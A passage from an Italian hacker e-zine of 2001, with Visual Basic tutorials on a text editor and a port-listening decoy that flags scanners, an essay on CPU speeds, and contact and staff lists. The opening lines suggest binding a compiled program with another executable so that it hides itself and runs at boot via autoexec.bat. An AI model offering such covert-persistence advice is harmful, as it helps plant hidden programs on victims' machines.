capire il funzionamento dei due programmi è quello di provare a modificarne il sorgente, ricompilarlo e vedere come risponde alle modifiche. Ad ogni modo, per gli utenti più maliziosi, è possibile usare un programma come lo stealth installer 2 per fondere l'exe derivato dalla compilazione del sorgente con un altro eseguibile che copi il file in una cartella nascosta e aggiunga una chiamata all'autoexec.bat, questo farà si che il programma venga richiamato nella fase del boot, provare per credere =) +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [L'APPRENDISTA STREGONE] #01 - 18/06/2001 | | Gi0CARE C0N i FiLE iN VB: CiF EDiT0R ..................... [Mantis] 0x22/0x25 | +-------------------------------------------------------------------------------+ Quale e' il piu' classico dei classici usi dei file di testo?Semplice: salvarci i documenti scritti con un editor di testo. Questo articolo vi spieghera' come ottenere un semplice editor di testi da VB... ma soprattutto vi insegnera' alcune basi di gestione dei file di testo in VB. Il progetto di base, come appena detto, e' un editor di testi assimilabile al blocco note di zio Bill.... ha principalmente 3 comandi: salva, apri e elimina file. Una volta aperto un form di VB e sufficientemente ingrandito si dispongano in bell'ordine (!) i seguendi oggetti: 1 textbox a cui sia stato abilitato il multi-line dalla finestra delle proprieta' 4 pulsanti 1 textbox piccola senza multi-line 1 combobox Questi sono i componenti essenziali. io ho poi aggiunto un altro pulsante con una funzione che mi rendeva il numero di caratteri digitati.... piccola comodita' per quando mando un SMS (prima lo scrivo in un editor di testi e poi lo incollo nel form sul WEB e mi serviva sapere quanto era lungo....).Ma a voi non frega nulla :). Per prima cosa vediamo come il CIF editor gestisce i percorsi e i nomi dei file. Per aprire un file e' necessario indicarne il percorso completo di nome in un'apposita textbox.... ho predisposto che all'evento Form1_load nella textbox appaia la directory in cui e' situato il file CIFeditor.exe. Per fare cio' e' sufficiente 1 riga di codice: text1.text = app.path. Una volta scritto il percorso con il nome del file, si potra' scegliere in una combobox l'estensione che si vorra' dare al file. Alla fine il nome del file sara' composto da: percorso + nome + "." + estensione Basta assegnare ad ogni variabile il valore appropriato e il gioco e' fatto. Il primo pulsante che analizziamo serve per aprire un file di testo (o un qualsiasi altro file, a patto che l'estensione sia compresa tra quelle inserite nella combobox; aggiungerne una e' estremamente semplice: basta modificare la proprieta' "List" nell'apposita finestra. Visual basic mette a disposizione vari modi di apertura di un file: pensiamo a Random, Binary, Input, Output. Ognuno di questi ha poi appositi comandi che permettono di leggere testo dal file o di scriverci dentro dei dati (Input, Line input, Get, Put, Print, Write). E' importante non sbagliare corrispondenza tra modi di apertura e comandi di I/O: cosi' facendo si genererebbero errori di modalita' file non valida. Per leggere dati formattati in un certo modo e per fare si' che anche altri programmi possano leggere gli stessi dati senza alcuna differenza, nel CIFeditor ho utilizzato il comando "Line input" e ho aperto il file in modalita' "Input". Il problema che mi ha tenuto per giorni e notti attaccato al monitor e' che Line input legge solo la prima riga del file che apro. O meglio: se tento di leggere un file scritto con l'istruzione (ecco, non comandi, istruzioni!) Write me lo legge e formatta correttamente, ma se tento di aprire un file scritto, ad esempio, col WordPad.... Queste poche righe di codice sonostate la soluzione al problema: Open file For Input As #1 Do Line Input #1, variabile tutto = tutto & variabile & vbCrLf Loop Until EOF(1) Close #1 testo1.Text = tutto La prima riga serve per aprire di fatto il file (se il file non esiste lo crea, ma se non esiste che diavolo lo apriamo fare??). Le righe dalla seconda alla quinta inclusa sono un ciclo di iterazione per falso (ovvero si ripetono fino a quando la condizione posta dopo l'until rimane falsa) e servono per leggere i dati (formattati) dal file che vogliamo aprire e per assegnarli ad una variabile (tutto). Praticamente il ciclo funziona cosi': Assegna alla variabile di nome "variabile" il contenuto di una riga del file Assegna alla variabile "tutto" il valore della variabile stessa + il valore della variabile "variabile" + il carattere di newline (vbcrlf = chr(13)+chr(10) ovvero enter + feed line) ripete tutto fino alla fine del file (EOF=end of file | 1=ID univoco di un file aperto in VB. lo si assegna ad un file nel momento della sua apertura ( "... As #1") Ho dovuto mettere il carattere di newline perche' altrimenti non avrebbe rispettato tutti gli "a capi" ma mi avrebbe messo in fila tutte le righe del file...... e addio formattazione. L'ultima riga provvede all'assegnazioen della variabile "tutto" alla proprieta' Text dell'oggetto testo1. OVVERO: visualizza nellateztbox testo1 il contenuto del file :) Il secondo pulsante che andiamo ad analizzare serve per salvare quello che noi scriviamo in testo1 in un file. Il codice Open file For Output As #1 Print #1, testo1.Text Close #1 e' semplice applicazione della funzione Print.... si da' l'ID del file, la variabile et voila'! il file si crea se non esiste o si aggiorna se esiste gia'. NB: e' importante chiudere sempre il file alla fine dell'utilizzo onde evitare errori. Il terzo pulsante serve per cancellare un file salvato che non ci serve piu'. E' una semplice funzione di VB: Kill(nomefile) e il gioco e' fatto (ovviamente in nomefile ci va anche il percorso...). Il pulsante per determinare la lunghezza del testo scritto contiene un'altra semplice funzione di VB Len(variabile) e fa apparire la lunghezza in una label grazie al codice 'label1.caption="La lunghezza e' " & len(variabile) & " caratteri." '. Tutto li'. Ovviamente il progamma necessita delle migliorie (migliore gestione degli errori e delle estensioni, features varie.....) ma e' solo una dimostrazione. Lascio a voi l'onore. Bene... questa volta abbiamo finito..... i sorgenti per fare delle prove li trovate allegati all'articolo..... avete tutto per scrivere l'editor di testi del nuovo millennio :) mantis_ +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [L'APPRENDISTA STREGONE] #01 - 18/06/2001 | | WiNUNiX ............................................. [Screener_it] 0x23/0x25 | +-------------------------------------------------------------------------------+ ø-!-¡-!-¡-!-¡-!-¡-!-¡-!-¡-!-¡-!-¡-!-¡-!-¡-!-¡-!-¡-!-¡-!-¡-!-¡-!-ø ø WINUNIX ø ø Screener_it ø ø¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥~¥ø */*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ Autore: Screener_it email: screener_it@freemail.it URL: www.tankcommandos.org DATA: 07/01/01 */*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ Le caxxate che si dicono in giro per la rete sono tante. Tantissime !! Dalle leggende metropolitane, ai giudizi affrettati, alle idee fisse nella mente di chi ha sentito solo una campana.. Di leggende metropolitane ne avete sentite anche troppe, giudizi affrettati anche.. Le idee fisse cosa sono ? Sono le idee messe in giro da una minoranza che sono poi diventate il pensiero della massa.. La più classica è che per forza chi è un hacker è un anarchico. E allora giù con i ragazzini che riempiono i loro siti di stemmi anarchici credendo che così sono molto più underground. Un'altra idea fissa è quella che odio di più: Visual Basic è un linguaggio da lamer.. E questo perchè ?? Semplice, è un prodotto della Microsoft e quindi tutto quello che è Microsoft = lamer. Dimenticando che Ms-Dos è un frutto della MS, dimenticando che il 99% ha iniziato a usare il pc con Windows ( 3.1, 95, 98, ..). Alzi la mano (scriva 'na mail) chi ha iniziato a usare il pc installandosi Linux da solo !!!!!!!!!!!! E' vero, alcuni prodotti della MS sono discutibili, prezzi vergognosi, però.. Diamo alla MS quello che è della MS !!! Visual Basic non è uno dei linguaggio più avanzati, è verissimo !! E' pur sempre vero che con poche righe di comandi si possono fare programmi eccellenti. Ho aggiunto una campana al coro. Ascoltatele tutte prima di farvi una vostra idea !!! */*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ Oggi parleremo di come creare WinUnix !! E che caxxo è WinUnix ?? WinUnix è un programma nato dalla mia mente malata per confondere gli avversari che mi fanno scanning, per avvertirmi di tentativi di connessione, ecc.. Questo programma infatti apre porte classiche di un sistema Unix-like ( telnet su tutte ) o cmq porte non usuali su un computer casalingo ( POP3, SMTP, finger, ecc..) e così a un eventuale scanning l'attaccante si troverebbe in difficoltà a riconoscere un sistema Windows.. In più in caso di scanning / tentativi di connessione mi avverte indicandomi l'ip dell'attaccante e la porta a cui ha provato a collegarsi !! Di cosa abbiamo bisogno per creare questo programmino ??? Poca roba: 1.- Visual Basic 5 (o succ.) 2.- Un po' di esperienza in Vb non guasta (ma possiamo farne a meno). */*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ Allora, cominciamo.. Prendete Visual Basic e versatelo in un recipiente abbastanza capiente e iniziate a mescolare.. No, caxxo, ho sbagliato guida !! Prima due paroline su cosa faremo. Questo programma si metterà in ascolto sulle seguenti porte: 23 (telnet) 25 (SMTP) 79 (finger) 110 (POP3) E fin qui ci siamo. Una cosa in più: queste porte nella realtà usano il protocollo TCP. Come ben sapete in rete esistono principalmente due protocolli: il TCP e l'UDP. Una certa differenza tra i due c'è, spiegarla qui è inutile, cmq sappiate che il più usato è il TCP, che è anche il più sicuro, xkè, al contrario dell'UDP, controlla che i dati siano arrivati a destinazione, mentre l'UDP lancia i dati e.. Se arrivano bene, se non arrivano.. Cmq dato che vogliamo essere il più vicino possibile alla realtà useremo anche noi il protocollo TCP per questo progetto. Per creare applicazioni Visual Basic che interagiscono con le potenzialità di Internet abbiamo bisogno di un componente particolare di Visual Basic ! Il suo nome è Winsock e si carica in Visual Basic semplice andando in Progetto / Componenti e dall'elenco che appare selezionare "Microsoft Winsock Control" e poi cliccare Ok. Se andate nella barra degli strumenti a sinistra vedrete che ora è apparso un disegnino con due computer. Se ci andate sopra vedrete la scritta "Winsock". Perfetto.. Ora si tratta di aggiungere questo componente alla nostra form. Cliccate sopra quel disegnino di prima e poi portatelo nel form. Perfetto !! Nella form apparirà questo disegnino con il nome di Winsock1. Ma cos'è il Winsock ?? Il Winsock non è altro che un componente di Visual Basic che funziona in modo simile a telnet. Esso infatti può creare una connessione tra due pc, spedire stringhe di dati da un pc all'altro, ecc.. Capito ? Bene. Andate a destra, dove vedete un finestra con il titolo "Propietà". Prima cosa vedete la propietà (Name). Per non fare confusione lo chiameremo TCP1. Scorrete l'elenco e arrivate fino alla propietà Protocol e controllate che siano impostate su sckTCPProtocol, ok ?? Ogni porta del nostro progetto ha bisogno di un componente Winsock, quindi sulla form dobbiamo crearne quattro. Che chiameremo TCP1, TCP2, TCP3, TCP4. Ok ??? Sono importanti i nomi, altrimenti più avanti non capirete niente !! Inserite poi: 1 label con nome "lblip" 1 label con nome "lblporta" entrambe devono essere vuote. Ok, adesso passiamo al codice vero e proprio. Fate doppio clic su un punto qualsiasi della form e vi apparirà la scritta: Private Sub Form_Load() End Sub che voi completerete in questo modo: Private Sub Form_Load() TCP1.LocalPort = Val(23) TCP1.Listen TCP2.LocalPort = Val(25) TCP2.Listen TCP3.LocalPort = Val(79) TCP3.Listen TCP4.LocalPort = Val(110) TCP4.Listen End Sub Che abbiamo fatto ?? Semplice !! Ogni volta che il programma parte automaticamente i quattro Winsock che abbiamo messo nel form si metteranno in ascolto sulle porte decise da noi. TCP1.LocalPort = Val(23) Questa riga serve per indicare al controllo TCP1 su quale porta operare (in questo caso la 23). TCP1.Listen Questa riga serve ad indicare al controllo TCP1 cosa fare.. In questo mettersi in ascolto sulla porta che prima abbiamo indicato. Ok, adesso le porte sono in ascolto.. E adesso che facciamo ???? Dobbiamo dire ai vari protocolli come comportarsi in caso di connessione.. Quindi nel codice della form aggiungete questa riga: Private Sub TCP1_ConnectionRequest(ByVal requestID As Long) End Sub In mezzo a questa righe dovete dire al controllo come comportarsi in caso di richiesta di connessione.Noi vogliamo che quando c'è un tentativo di connessione ci avverta indicandoci l'ip dell'attaccante e la porta alla quale ha tentato di attaccarsi !! Quindi: Private Sub TCP1_ConnectionRequest(ByVal requestID As Long) lblip = TCP1.RemoteHostIP lblporta = "23" TCP1.Close TCP1.LocalPort = Val(23) TCP1.Listen End Sub Un po' di spiegazioni ve le devo, eh ?? Allora.. In caso di tentativo di connessione alla controllo TCP1 (che controlla la porta 23) nella casella lblip apparirà l'ip dell'attaccante: lblip = TCP1.RemoteHostIP E nella casella lblporta apparirà la porta alla quale ha tentato di collegarsi.. In questo caso la 23. Dopodiche che succede ?? Dopo averci informato dell'attacco il programma ci difende dall'attaccante, chiudendogli la connessione con il nostro pc: TCP1.close E poi si rimette in ascolto sulla stessa porta in attesa di nuovi attacchi.. Facciamo lo stesso lavora sul controllo TCP2... Private Sub TCP2_ConnectionRequest(ByVal requestID As Long) lblip = TCP2.RemoteHostIP lblporta = "25" TCP2.Close TCP2.LocalPort = Val(25) TCP2.Listen End Sub E poi sugli altri controlli... */*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ I codici principali del programma si chiudono qui, ma evidentemente ha bisogno di qualche ritocco.. Infatti per adesso il programma funziona ma è molto rozzo.. Vi troverete a una form grigia che quando c'è una connessione diventa così: ____________________ | | | | | 192.132.134.135 | | 25 | |____________________| Direi che è piuttosto misera.. Aggiungiamo un po' di roba.. Prima di tutto un label con la scritta:"Ip attaccante:" e una con scritto "Porta:" Mh.. Sì, meglio ma ha bisogno di qualche ritoccatina.. Sarebbe meglio che vediamo la form solo qualche veniamo "attaccati".. Imposta la propietà visible della form su false.. Vogliamo che appaia solo quando nella casella lblip appare un ip.. Giusto ? Che appaia in primo piano per avvertirci del pericolo.. Mo Ecco qui il codice: Private Sub lblip_Change() If lblip = "" Then Me.Visible = False Else lblip.Visible = True SetWindowPos Me.hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOACTIVATE Or SWP_SHOWWINDOW Or !! SWP_NOMOVE Or SWP_NOSIZE End sub E nelle dichiarazioni mettete questi codici: Const HWND_TOPMOST = -1 Const HWND_NOTOPMOST = -2 Const SWP_NOSIZE = &H1 Const SWP_NOMOVE = &H2 Const SWP_NOACTIVATE = &H10 Const SWP_SHOWWINDOW = &H40 Private Declare Sub SetWindowPos Lib "User32" (ByVal hWnd As Long, ByVal hWndInsertAfter As !! Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) Dove vedete i punti di esclamazione ( !! ) è xkè dovete mettere tutto su una riga nel programma, non andare a capo come ho fatto io.. Poi ci aggiungiamo un pulsantino ( command1 ) che se cliccato fà diventare la form di nuovo invisibile: Private Sub Command1_Click() lblip = "" lblbporta = "" me.Visible = False End Sub */*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ Ok, io avrei finito.. Se non avete chiaro qualcosa insieme alla rivista dovrebbero esserci allegati i sorgenti scritti in Vb 6 di questo programma. Se ancora avete dubbi sendatemi una mail: screener_it@freemail.it */*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ Finito !! Un saluto particolare a: - Tutti quelli che scrivono su Dirty Net - I ragazzi di #hackersonline su AzzurraNet e #hack.it su irc.tin.it - Syn^, Spyro, MrWolf, Bakunin, BigAlex, Tripping, GreenDragon - Tutti quelli che si sono visti il derby Milan - Inter del 07/01 che io vedrò stasera a casa mia (volevo andare anch'io, non è giusto !!!) - A Fabrizio, il primo anarchico-leghista della storia !! :)))) */*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [SHUTD0WN] #01 - 18/06/2001 | | MA DAVVER0 Ci SERV0N0 CPU SEMPRE PiU' VEL0Ci ? ...... [Screener_it] 0x24/0x25 | +-------------------------------------------------------------------------------+ Computer sempre + veloci, + potenti.. Ma davvero ci servono ? Non è una nuova notizia che Intel & AMD abbiano sfondato con i loro processori la velocità di 1 GHz.. E' forse meno noto che Intel ha già annunciato per settembre l'uscita del processore a 2 GHz. Ma perchè ? Credo che ormai l'industria del computer si sia avviata verso una strada da cui sarà molto difficile togliersi. Con il ritmo annuale di produzione & miglioramento dei vari componenti hardware un pc nuovo di zecca, potentissimo, ecc.. dopo un anno è obsoleto. Costringendo uffici, scuole & singoli utenti a costosi rinnovamenti hardware. Si passa dall'utente abbastanza smaliziato che decide di cambiare singoli componenti come motherboard & processore, magari aggiungendo nel corso degli anni schede video, audio, masterizzatori a seconda delle disponibilità liquide fino ad arrivare all'azienda, che letteramente "butta" via computer i cui componenti sarebbero ancora interessanti (tanto per dirne una gli hard disk) e rinnova l'intero impianto macchine (per chi ha orecchie: SOLDI NOSTRI !!) Ma davvero c'è tutto questo bisogno di continuo rinnovamento ? Vediamo un po' i pro e i contro. In questa continua corsa le varie aziende stanno velocizzando sempre di più i ritmi di produzione e avanzamento tecnologico, non lasciando spazio a controlli attenti e rigidi, rischiando così di mettere in commercio vere e proprie boiate, per dirne una i primi Pentium II avevano qualche difficoltà con le divisioni. E si continua a invenstire, ma si investe NON nella qualità, non fornendo agli utenti ciò di cui hanno realmente bisogno, ma si investe per aumentare quel numerino che indica la velocità di clock del processore !! Abbiamo raggiunto 1 GHz.. Molti di voi avranno un computer superiore a 800 MHz.. Lasciate stare la marca [Intel, AMD, Cyrix, ecc..], davvero ne avete bisogno ? Ok, i giochi del Pc vi vanno meglio, vedete Quake 3 Arena con una fluidità incredibile, avete 20 Gb di spazio libero sull'hard disk, avete RAM da 512 Mb [a proposito: se avete Windows 9* e 512 Mb di RAM Win non và.. "Memoria insufficiente", non è uno scherzo !], avete una scheda video con 64 Mb, una scheda audio da 256, un modem ADSL.. Ma in fin dei conti tutto questo non vi serve ! Pensateci bene. Per l'attuale uso del PC nella fascia d'ufficio un 133 Mhz sarebbe + che sufficiente, con hard disk da 2 Gb [magari se proprio serve si può montare un pc con un hard disk da 20 Gb e metterlo in condivisione per la LAN dell'ufficio], ma quasi tutti gli uffici sono equipaggiati da processori da 300 in sù [e li considerano obsoleti]. Per un utente medio un processore da 450 Mhz, una buona scheda video (diciamo 16 Mb) e 8 Gb di hard disk sono + che sufficienti !! Di che avete bisogno ? Ma le case di costruzione vi convincono che avete bisogno dell'ultimo tipo di CPU per navigare meglio su internet [che caxxo c'entra poi..], per giocare o anche semplicemente per fare videoscrittura. Meno di una settimana fa una mia compagna di classe mi chiede se un dato di PC andava bene.. Configurazione standard, ovvero Intel Pentium III 800, 20 Gb di Hard disk, 128 Mb di RAM, scheda video da 32 Mb, ecc.. Le chiedo per cosa le serve.. "Per scrivere le relazioni a computer a casa, fare presentazionin con PowerPoint, programmare in Vb..". Beh, ma se è per quello si può spendere meno, non hai bisogno di tutto !! Vado in negozio.. Niente da fare, quella è la configurazione minima disponibile. A questo punto vi chiedo: ma le case produttrici niente niente ci stanno prendendo per il culo ? Pensate a quello che può fare un processore da 800 MHz in più rispetto a un semplicissimo 133 MHz.. Niente, assolutamente niente !! L'unica cosa in cui è necessario: i giochi.. Ma caxxo, boia XXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXX ! E' possibile che ogni nuovo gioco esca sul mercato necessità di componenti sempre più nuove ? Secondo me ci stà sotto qualcosa.. Cosa avrebbero da guadagnare i produttori di hardware facendo sviluppare i giochi sulle loro piattaforme ? Mah, aspetta che ci penso.. Tanto. E cosa c'hanno da perdere ? Niente. Perchè ci sarà sempre quel bambino che comprerà Fifa 2002, ci sarà sempre quel bambino che leggerà sulla confezione CONFIGURAZIONE MINIMA: CPU A 2 GHz, ci sarà sempre quel bambino che dirà "Mamma, devi comprarmi un computer nuovo" e ci sarà sempre chi su quel bambino ci farà soldi. Ma non ridete di quel bambino.. Ci siete anche voi, che vi comprate il modem sempre più veloce.. Se qualcuno dice che ha un 33.6 voi gli ridete addosso dall'alto della vostra linea ISDN, ci siete anche voi tra quelli che si faranno una ADSL, ci sarete anche voi tra quelli.. E ci sarà sempre chi farà soldi su di voi. "Ma come sei buono tu, nelle tue parole, nei tuoi atteggiamenti, ma come sei bravo tu, MAESTRO DI NIENTE, VENDITORE DI VENTO!" ZZA - Kriptonite <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [C0NTATTi] #01 - 18/06/2001 | | D0VE TR0VARCi [oq ~ staff] 0x25/0x25 | +-------------------------------------------------------------------------------+ Sul Web: http://ondaquadra.cjb.net http://www.hackerzine.org http://www.bismark.it Forum: http://www.domeus.it/forum/oqmagazine Mail: mail@ondaquadra.cjb.net Gli articoli mandateli qui: articoli@ondaquadra.cjb.net IRC #ondaquadra@irc.azzurranet.org Un saluto agli amici di: http://www.tankcommandos.org http://www.anarcopanico.3000.it http://www.punto-informatico.it #rotfl@irc.azzurranet.org #chihackerare@irc.azzurranet.org Prossima uscita: 17/09/2001 <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | oq~staff: | | Alfredo Lissoni .......................... [Centro Ufologico Nazionale] | | Bartex ....................................................... [Bartex] | | DarkAngel999 ........................................... [DarkAngel999] | | E4zy ..................................................... [Wonder Boy] | | JEYoNE .......................................... [365 giorni all'alba] | | Lesion .......................................................... [_TO] | | Mantis_ ....................................................... [Coder] | | Martin Lutero ..................................... [Punto Informatico] | | Mastro ........................................................ [Coder] | | MightyInquisitor ...................................... [#chihackerare] | | Mysha .......................................... [La donna del mistero] | | Screener_it ..................................................... [TCC] | | Stefano Bisi ................................... [Sciamano-viaggiatore] | | Tdi110cv ........................................ [Senti un pochino...] | | Tritemius ....................................................... [AUM] | | Weisses ................................................... [Benzinaio] | | xyzzy .................................................... [Linux Guru] | +-------------------------------------------------------------------------------+ | ondaquadra.cjb.net ~ www.hackerzine.org ~ www.bismark.it | | mail@ondaquadra.cjb.net ~ articoli@ondaquadra.cjb.net | +-------------------------------------------------------------------------------+ [EOF]